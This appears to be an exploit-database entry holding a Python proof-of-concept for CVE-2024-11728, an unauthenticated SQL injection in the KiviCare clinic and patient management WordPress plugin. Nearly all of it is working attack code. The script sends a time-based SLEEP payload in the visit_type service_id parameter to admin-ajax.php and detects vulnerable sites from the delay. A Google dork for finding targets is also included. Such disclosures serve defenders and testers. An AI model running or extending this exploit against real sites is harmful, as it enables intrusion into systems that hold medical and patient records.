KiviCare Clinic & Patient Management System (EHR) 3.6.4 - Unauthenticated SQL Injection

Author: samogod
type: webapps
platform: php
port: 
date_added: 2025-04-18  
date_updated: 2025-04-18  
verified: 0  
codes: CVE-2024-11728  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 52265.py  
# Exploit Title: KiviCare Clinic & Patient Management System (EHR) 3.6.4 - Unauthenticated SQL Injection
SQL Injection
# Google Dork: inurl:"/wp-content/plugins/kivicare-clinic-management-system/
# Date: 11/12/2024
# Exploit Author: Samet "samogod" Gözet
# Vendor Homepage: wordpress.org
# Software Link:
https://wordpress.org/plugins/kivicare-clinic-management-system/
# Version: < 3.6.5
# Tested on: Ubuntu 22.04
# CVE : CVE-2024-11728
#!/usr/bin/env python3
"""
CVE-2024-11728 - KiviCare WordPress Plugin Unauthenticated SQL Injection PoC
Author: samogod.samet.g

Description:
    Proof of Concept for Unauthenticated SQL Injection vulnerability
in KiviCare WordPress Plugin <= 3.6.4.
    The vulnerability exists in the tax_calculated_data AJAX action
where the visit_type[service_id]
    parameter is insufficiently escaped, allowing SQL injection attacks.

Usage:
    python3 CVE-2024-11728.py -u <target_url> [-t <timeout>] [-v]
"""

import argparse
import requests
import sys
import time
from urllib3.exceptions import InsecureRequestWarning

# Disable SSL warnings
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

class KiviCareExploit:
    def __init__(self, url, timeout=10, verbose=False):
        self.url = url.rstrip('/')
        self.timeout = timeout
        self.verbose = verbose
        self.target = f"{self.url}/wp-admin/admin-ajax.php"
        self.headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Accept': '*/*'
        }

    def log(self, message, level="info"):
        """Custom logging function"""
        colors = {
            "info": "\033[94m[*]",
            "success": "\033[92m[+]",
            "error": "\033[91m[-]",
            "warning": "\033[93m[!]"
        }
        print(f"{colors.get(level, '[*]')} {message}\033[0m")

    def verify_vulnerability(self):
        """Verify if the target is vulnerable using a time-based SQL
injection"""
        self.log("Testing vulnerability with time-based SQL injection...")

        data = {
            'action': 'ajax_post',
            'route_name': 'tax_calculated_data',
            'clinic_id[id]': '1',
            'doctor_id[id]': '1',
            'visit_type[0][service_id]': "123) AND (SELECT * FROM
(SELECT(SLEEP(5)))alias) AND (1=1",
            '_ajax_nonce': '5d77fc94cf' # You need to update this nonce value
        }

        try:
            normal_data = {
                'action': 'ajax_post',
                'route_name': 'tax_calculated_data',
                'clinic_id[id]': '1',
                'doctor_id[id]': '1',
                'visit_type[0][service_id]': "1",
                '_ajax_nonce': '5d77fc94cf' # You need to update this
nonce value
            }

            start_time = time.time()
            normal_response = requests.post(
                self.target,
                data=normal_data,
                headers=self.headers,
                verify=False,
                timeout=self.timeout
            )
            normal_time = time.time() - start_time

            if self.verbose:
                self.log(f"Normal request time: {normal_time:.2f}
seconds", "info")
                self.log(f"Normal response: {normal_response.text}", "info")

            start_time = time.time()
            try:
                response = requests.post(
                    self.target,
                    data=data,
                    headers=self.headers,
                    verify=False,
                    timeout=self.timeout
                )
                elapsed_time = time.time() - start_time

                if self.verbose:
                    self.log(f"Injection request time:
{elapsed_time:.2f} seconds", "info")
                    self.log(f"Request data: {data}", "info")

                if elapsed_time >= 4.5:
                    self.log("Target appears to be vulnerable!", "success")
                    return True
                else:
                    self.log("Target does not appear to be
vulnerable.", "warning")
                    return False

            except requests.exceptions.Timeout:
                self.log("Request timed out - target is vulnerable!", "success")
                return True

        except requests.exceptions.RequestException as e:
            self.log(f"Error during vulnerability check: {str(e)}", "error")
            return False

def main():
    parser = argparse.ArgumentParser(description='KiviCare WordPress
Plugin Unauthenticated SQL Injection PoC (CVE-2024-11728)')
    parser.add_argument('-u', '--url', required=True, help='Target URL
(e.g., http://example.com)')
    parser.add_argument('-t', '--timeout', type=int, default=10,
help='Request timeout in seconds')
    parser.add_argument('-v', '--verbose', action='store_true',
help='Enable verbose output')
    args = parser.parse_args()

    print("""
    CVE-2024-11728 - KiviCare WordPress Plugin Unauthenticated SQL Injection
    Author: samogod.samet.g
    """)

    exploit = KiviCareExploit(args.url, args.timeout, args.verbose)

    exploit.verify_vulnerability()

if __name__ == '__main__':
    main()